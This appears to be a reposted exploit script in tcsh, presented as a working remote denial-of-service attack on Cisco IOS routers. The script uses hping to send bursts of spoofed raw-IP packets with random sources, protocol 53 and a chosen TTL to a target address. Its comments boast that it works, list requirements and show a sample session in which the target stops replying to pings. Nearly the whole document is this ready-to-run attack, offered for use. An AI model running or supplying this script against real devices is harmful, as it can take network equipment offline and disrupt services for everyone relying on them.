* Version TXT Disponible ici *

#!/bin/tcsh -f
                              #
                              # Remote DoS exploit against the recent Cisco IOS vuln. Cisco doc. 44020
                              # Vulnerable versions - all Cisco devices running IOS.
                              # Requirements : tcsh, and hping.
                              # Get hping @ www.hping.org
                              # 
                              # And you know the best part? This script actually works! Unlike the few .c's
                              # floating around the net. Uses swipe for the protocol bit. Also, need to be uid=0,
                              # OR +s ciscodos.sh because of hping opening raw sockets.
                              #
                              # Example : 
                              # 
                              # root@evicted # ping 192.168.1.1
                              # PING 192.168.1.1 (192.168.1.1): 56 data bytes
                              # 64 bytes from 192.168.1.1: icmp_seq=0 ttl=150 time=1.287 ms
                              # 64 bytes from 192.168.1.1: icmp_seq=1 ttl=150 time=0.817 ms
                              # --- 192.168.1.1 ping statistics ---
                              # 2 packets transmitted, 2 packets received, 0% packet loss
                              # round-trip min/avg/max/std-dev = 0.817/1.052/1.287/0.235 ms
                              #
                              # root@evicted # ./ciscodos.sh 192.168.1.1 0
                              # HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes
                              # --- 192.168.1.1 hping statistic ---
                              # 19 packets tramitted, 0 packets received, 100% packet loss
                              # round-trip min/avg/max = 0.0/0.0/0.0 ms
                              # HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes
                              # --- 192.168.1.1 hping statistic ---
                              # 19 packets tramitted, 0 packets received, 100% packet loss
                              # round-trip min/avg/max = 0.0/0.0/0.0 ms
                              # -------------SNIP---------------
                              # root@evicted # ping 192.168.1.1
                              # PING 192.168.1.1 (192.168.1.1): 56 data bytes
                              # --- 192.168.1.1 ping statistics ---
                              # 2 packets transmitted, 0 packets received, 100% packet loss
                              # -------------SNIP---------------
                              #
                              # Coded by  
                              #

                              if ($1 == "" || $2 == "") then
                              echo "usage: $0  "
                              exit
                              endif

                              foreach protocol (53)
                              /usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto $protocol --count 76 --interval u250 --data 26
                              end